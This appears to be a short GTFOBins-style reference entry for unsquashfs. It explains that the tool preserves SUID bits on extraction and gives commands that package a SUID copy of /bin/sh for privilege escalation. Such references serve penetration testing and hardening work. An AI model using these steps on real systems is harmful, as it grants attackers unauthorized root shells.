.. / unsquashfs
Sponsor Fork Star

Comment

unsquashfs preserve the SUID bit when extracting the file system. For example, prepare an archive beforehand with the following commands as root:

cp /bin/sh .
chmod +s sh
mksquashfs sh shell

Privilege escalation

This executable provides a mechanism for privilege escalation by indirectly enabling elevated privileges, such as setting the SUID bit or modifying the ownership of another executable.

Source | History